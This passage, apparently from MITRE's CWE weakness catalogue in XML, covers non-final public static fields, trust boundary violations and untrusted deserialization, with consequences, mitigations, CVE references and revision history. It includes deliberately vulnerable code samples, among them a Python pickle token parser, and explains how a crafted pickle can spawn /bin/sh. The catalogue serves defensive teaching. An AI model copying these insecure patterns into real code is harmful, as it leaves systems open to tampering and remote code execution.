         <Background_Details>
            <Background_Detail>When a field is declared public but not final, the field can be read and written to by arbitrary Java code.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Note>The object could potentially be tampered with.</Note>
            </Consequence>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>The object could potentially allow the object to be read.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>Clearly identify the scope for all critical data elements, including whether they should be regarded as static.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Make any static fields private and constant.</xhtml:p>
                  <xhtml:p>A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following examples use of a public static String variable to contain the name of a property/configuration file for the application.</Intro_Text>
               <Example_Code Nature="Bad" Language="C++">
                  <xhtml:div>class SomeAppClass {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public:<xhtml:div style="margin-left:1em;">static string appPropertiesConfigFile = "app/properties.config";</xhtml:div>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public class SomeAppClass {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public static String appPropertiesFile = "app/Application.properties";<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.</Body_Text>
               <Example_Code Nature="Good" Language="C++">
                  <xhtml:div>class SomeAppClass {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public:<xhtml:div style="margin-left:1em;">static const string appPropertiesConfigFile = "app/properties.config";</xhtml:div>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>public class SomeAppClass {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>public static final String appPropertiesFile = "app/Application.properties";<xhtml:br/>...</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Overflow of static internal buffer</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>OBJ10-J</Entry_ID>
               <Entry_Name>Do not use public static nonfinal variables</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP28</Entry_ID>
               <Entry_Name>Unexpected access points</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>KDM Analytics</Modification_Organization>
               <Modification_Date>2008-08-01</Modification_Date>
               <Modification_Comment>added/updated white box definitions</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-05</Modification_Date>
               <Modification_Comment>Significant clarification of this entry, and improved examples.</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Overflow of Static Internal Buffer</Previous_Entry_Name>
            <Previous_Entry_Name Date="2008-11-24">Static Field Not Marked Final</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="501" Name="Trust Boundary Violation" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product mixes trusted and untrusted data in the same data structure or structured message.</Description>
         <Extended_Description>A trust boundary can be thought of as line drawn through a program. On one side of the line, data is untrusted. On the other side of the line, data is assumed to be trustworthy. The purpose of validation logic is to allow data to safely cross the trust boundary - to move from untrusted to trusted. A trust boundary violation occurs when a program blurs the line between what is trusted and what is untrusted. By combining trusted and untrusted data in the same data structure, it becomes easier for programmers to mistakenly trust unvalidated data.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="664" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Bypass Protection Mechanism</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>The following code accepts an HTTP request and stores the username parameter in the HTTP session object before checking to ensure that the user has been authenticated.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>usrname = request.getParameter("usrname");<xhtml:br/>if (session.getAttribute(ATTR_USR) == null) {<xhtml:div style="margin-left:1em;">session.setAttribute(ATTR_USR, usrname);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>usrname = request.Item("usrname");<xhtml:br/>if (session.Item(ATTR_USR) == null) {<xhtml:div style="margin-left:1em;">session.Add(ATTR_USR, usrname);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Without well-established and maintained trust boundaries, programmers will inevitably lose track of which pieces of data have been validated and which have not. This confusion will eventually allow some data to be used without first being validated.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Trust Boundary Violation</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Demonstrative_Example, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="502" Name="Deserialization of Untrusted Data" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.</Description>
         <Extended_Description>
            <xhtml:p>It is often convenient to serialize objects for communication or to save them for later use. However, deserialized data or code can often be modified without using the provided accessor functions if it does not use cryptography to protect itself. Furthermore, any cryptography would still be client-side security -- which is a dangerous security assumption.</xhtml:p>
            <xhtml:p>Data that is untrusted can not be trusted to be well-formed.</xhtml:p>
            <xhtml:p>When developers place no restrictions on "gadget chains," or series of instances and method invocations that can self-execute during the deserialization process (i.e., before the object is returned to the caller), it is sometimes possible for attackers to leverage them to perform unauthorized actions, like generating a shell.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="913" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="PeerOf" CWE_ID="915" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
            <Language Name="Ruby" Prevalence="Undetermined"/>
            <Language Name="PHP" Prevalence="Undetermined"/>
            <Language Name="Python" Prevalence="Undetermined"/>
            <Language Name="JavaScript" Prevalence="Undetermined"/>
            <Technology Class="ICS/OT" Prevalence="Often"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Serialization and deserialization refer to the process of taking program-internal object-related data, packaging it in a way that allows the data to be externally stored or transferred ("serialization"), then extracting the serialized data to reconstruct the original object ("deserialization").</Background_Detail>
         </Background_Details>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Marshaling, Unmarshaling</Term>
               <Description>Marshaling and unmarshaling are effectively synonyms for serialization and deserialization, respectively.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>Pickling, Unpickling</Term>
               <Description>In Python, the "pickle" functionality is used to perform serialization and deserialization.</Description>
            </Alternate_Term>
            <Alternate_Term>
               <Term>PHP Object Injection</Term>
               <Description>Some PHP application researchers use this term when attacking unsafe use of the unserialize() function; but it is also used for CWE-915.</Description>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Medium</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Modify Application Data</Impact>
               <Impact>Unexpected State</Impact>
               <Note>Attackers can modify unexpected objects or data that was assumed to be safe from modification.</Note>
            </Consequence>
            <Consequence>
               <Scope>Availability</Scope>
               <Impact>DoS: Resource Consumption (CPU)</Impact>
               <Note>If a function is making an assumption on when to terminate, based on a sentry in a string, it could easily never terminate.</Note>
            </Consequence>
            <Consequence>
               <Scope>Other</Scope>
               <Impact>Varies by Context</Impact>
               <Note>The consequences can vary widely, because it depends on which objects or methods are being deserialized, and how they are used. Making an assumption that the code in the deserialized object is valid is dangerous and can enable exploitation.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Explicitly define a final object() to prevent deserialization.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Phase>Implementation</Phase>
               <Description>
                  <xhtml:p>Make fields transient to protect them from deserialization.</xhtml:p>
                  <xhtml:p>An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Avoid having unnecessary types or gadgets available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code snippet deserializes an object from a file and uses it as a UI button:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">File file = new File("object.obj");<xhtml:br/>ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));<xhtml:br/>javax.swing.JButton button = (javax.swing.JButton) in.readObject();<xhtml:br/>in.close();</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not attempt to verify the source or contents of the file before deserializing it. An attacker may be able to replace the intended file with a file that contains arbitrary malicious code which will be executed when the button is pressed.</Body_Text>
               <Body_Text>To mitigate this, explicitly define final readObject() to prevent deserialization. An example of this is:</Body_Text>
               <Example_Code Nature="Good" Language="Java">
                  <xhtml:div>private final void readObject(ObjectInputStream in) throws java.io.IOException {<xhtml:br/>throw new java.io.IOException("Cannot be deserialized"); }</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>In Python, the Pickle library handles the serialization and deserialization processes. In this example derived from [REF-467], the code receives and parses data, and afterwards tries to authenticate a user based on validating a token.</Intro_Text>
               <Example_Code Nature="Bad" Language="Python">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>class ExampleProtocol(protocol.Protocol):<xhtml:br/>def dataReceived(self, data):<xhtml:br/>
                           <xhtml:br/># Code that would be here would parse the incoming data<xhtml:br/># After receiving headers, call confirmAuth() to authenticate<xhtml:br/>
                           <xhtml:br/>def confirmAuth(self, headers):<xhtml:br/>try:<xhtml:br/>token = cPickle.loads(base64.b64decode(headers['AuthToken']))<xhtml:br/>if not check_hmac(token['signature'], token['data'], getSecretKey()):<xhtml:br/>raise AuthFail<xhtml:br/>self.secure_data = token['data']<xhtml:br/>except:<xhtml:br/>raise AuthFail</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Unfortunately, the code does not verify that the incoming data is legitimate. An attacker can construct a illegitimate, serialized object "AuthToken" that instantiates one of Python's subprocesses to execute arbitrary commands. For instance,the attacker could construct a pickle that leverages Python's subprocess module, which spawns new processes and includes a number of arguments for various uses. Since Pickle allows objects to define the process for how they should be unpickled, the attacker can direct the unpickle process to call Popen in the subprocess module and execute /bin/sh.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2019-12799</Reference>
               <Description>chain: bypass of untrusted deserialization issue (CWE-502) by using an assumed-trusted class (CWE-183)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-12799</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2015-8103</Reference>
               <Description>Deserialization issue in commonly-used Java library allows remote execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2015-8103</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2015-4852</Reference>
               <Description>Deserialization issue in commonly-used Java library allows remote execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2015-4852</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2013-1465</Reference>
               <Description>Use of PHP unserialize function on untrusted input allows attacker to modify application configuration.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-1465</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-3527</Reference>
               <Description>Use of PHP unserialize function on untrusted input in content management system might allow code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-3527</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0911</Reference>
               <Description>Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0911</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-0911</Reference>
               <Description>Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-0911</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2011-2520</Reference>
               <Description>Python script allows local users to execute code via pickled data.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2011-2520</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2012-4406</Reference>
               <Description>Unsafe deserialization using pickle in a Python script.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2012-4406</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0791</Reference>
               <Description>Web browser allows execution of native methods via a crafted string to a JavaScript function that deserializes the string.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0791</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Deserialization of untrusted data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER01-J</Entry_ID>
               <Entry_Name>Do not deviate from the proper signatures of serialization methods</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER03-J</Entry_ID>
               <Entry_Name>Do not serialize unencrypted, sensitive data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER06-J</Entry_ID>
               <Entry_Name>Make defensive copies of private mutable components during deserialization</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SER08-J</Entry_ID>
               <Entry_Name>Do not use the default serialized form for implementation defined invariants</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP25</Entry_ID>
               <Entry_Name>Tainted input to variable</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="586"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-461"/>
            <Reference External_Reference_ID="REF-462"/>
            <Reference External_Reference_ID="REF-463"/>
            <Reference External_Reference_ID="REF-464"/>
            <Reference External_Reference_ID="REF-465"/>
            <Reference External_Reference_ID="REF-466"/>
            <Reference External_Reference_ID="REF-467"/>
            <Reference External_Reference_ID="REF-468"/>
         </References>
         <Notes>
            <Note Type="Maintenance">The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, Background_Details, Common_Consequences, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Modes_of_Introduction, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Observed_Examples, References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
